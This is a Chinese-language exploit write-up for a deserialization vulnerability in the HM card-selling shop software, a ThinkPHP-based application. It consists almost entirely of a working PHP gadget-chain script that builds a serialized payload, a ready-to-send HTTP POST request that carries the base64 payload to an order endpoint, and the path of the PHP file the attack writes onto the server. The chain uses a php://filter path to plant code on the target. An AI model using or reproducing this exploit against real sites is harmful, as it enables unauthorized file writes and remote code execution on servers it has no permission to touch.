153 lines
5.0 KiB
Markdown
153 lines
5.0 KiB
Markdown
## HM发卡网反序列化漏洞
|
||
|
||
源码下载地址：https://551f.lanzoub.com/iruk9wu9czi?w
|
||
|
||
|
||
|
||
## 反序列数据生成poc
|
||
|
||
```php
|
||
<?php
|
||
namespace think\process\pipes;
|
||
use think\model\Pivot;
|
||
class Pipes{
|
||
|
||
}
|
||
class Windows extends Pipes{
|
||
private $files=[];
|
||
function __construct(){
|
||
$this->files=[new Pivot()];
|
||
}
|
||
|
||
}
|
||
namespace think;
|
||
use think\model\relation\HasOne; // use 这里是函数名 用大写开头 写成了use think\model\relation\hasOne;
|
||
use think\console\Output;
|
||
abstract class Model{
|
||
protected $append = [];
|
||
protected $error;
|
||
public $parent; // 类型写错写错了 写成了 protected $parent;
|
||
public function __construct(){
|
||
$this->append=["getError"];
|
||
$this->error=new HasOne();
|
||
$this->parent=new Output();
|
||
}
|
||
}
|
||
namespace think\model\relation;
|
||
use think\model\Relation;
|
||
class HasOne extends OneToOne{
|
||
function __construct(){
|
||
parent::__construct();
|
||
}
|
||
}
|
||
namespace think\model;
|
||
use think\db\Query;
|
||
abstract class Relation{
|
||
protected $selfRelation;
|
||
protected $query;
|
||
function __construct(){
|
||
$this->selfRelation=false;
|
||
$this->query= new Query();
|
||
}
|
||
}
|
||
namespace think\console;
|
||
use think\session\driver\Memcache;
|
||
class Output{
|
||
private $handle = null;
|
||
protected $styles = []; //类型错了 写成了private $styles = [];
|
||
function __construct(){
|
||
$this->styles=['getAttr']; //这个条件忘记加了 注意上下文
|
||
$this->handle=new Memcache();
|
||
}
|
||
}
|
||
namespace think\db;
|
||
use think\console\Output;
|
||
class Query{
|
||
protected $model;
|
||
function __construct(){
|
||
$this->model= new Output();
|
||
}
|
||
}
|
||
namespace think\model\relation;
|
||
use think\model\Relation;
|
||
abstract class OneToOne extends Relation{
|
||
|
||
protected $bindAttr = [];
|
||
function __construct(){
|
||
parent::__construct();
|
||
$this->bindAttr=["kanjin","kanjin"];
|
||
|
||
}
|
||
}
|
||
namespace think\session\driver;
|
||
use think\cache\driver\File;
|
||
class Memcache{
|
||
protected $handler = null;
|
||
function __construct(){
|
||
$this->handler=new File();
|
||
}
|
||
}
|
||
namespace think\cache\driver;
|
||
use think\cache\Driver;
|
||
class File extends Driver{
|
||
protected $options=[];
|
||
function __construct(){
|
||
parent::__construct();
|
||
$this->options = [
|
||
'expire' => 0,
|
||
'cache_subdir' => false,
|
||
'prefix' => '',
|
||
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
|
||
'data_compress' => false,
|
||
];
|
||
}
|
||
}
|
||
namespace think\cache;
|
||
abstract class Driver{
|
||
protected $tag;
|
||
function __construct(){
|
||
$this->tag=true;
|
||
}
|
||
}
|
||
namespace think\model;
|
||
use think\Model;
|
||
class Pivot extends Model{
|
||
}
|
||
use think\process\pipes\Windows;
|
||
echo base64_encode(serialize(new Windows()));
|
||
|
||
//
|
||
?>
|
||
```
|
||
|
||
|
||
|
||
## 利用poc
|
||
|
||
```
|
||
POST /index.php/shop/order/orderContent?order_no=1 HTTP/1.1
|
||
Host: x.x.x.x
|
||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0
|
||
|
||
search_content=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7aTowO3M6ODoiZ2V0RXJyb3IiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjM6e3M6MTE6IgAqAGJpbmRBdHRyIjthOjI6e2k6MDtzOjY6ImthbmppbiI7aToxO3M6Njoia2FuamluIjt9czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtPOjI5OiJ0aGlua1xzZXNzaW9uXGRyaXZlclxNZW1jYWNoZSI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czoxMTA6InBocDovL2ZpbHRlci9jb252ZXJ0Lmljb252LnV0Zi04LnV0Zi03fGNvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1hYWFQRDl3YUhBZ2NHaHdhVzVtYnlncE96OCtJQT09Ly4uL2EucGhwIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtiOjE7fX1zOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9fX19czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtPOjI5OiJ0aGlua1xzZXNzaW9uXGRyaXZlclxNZW1jYWNoZSI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czoxMTA6InBocDovL2ZpbHRlci9jb252ZXJ0Lmljb252LnV0Zi04LnV0Zi03fGNvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1hYWFQRDl3YUhBZ2NHaHdhVzVtYnlncE96OCtJQT09Ly4uL2EucGhwIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtiOjE7fX1zOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9fX19fQ==
|
||
```
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
文件路径
|
||
|
||
```
|
||
http://127.0.0.1/a.php3b58a9545013e88c7186db11bb158c44.php
|
||
```
|
||
|
||
|
||
|
||
|
||
|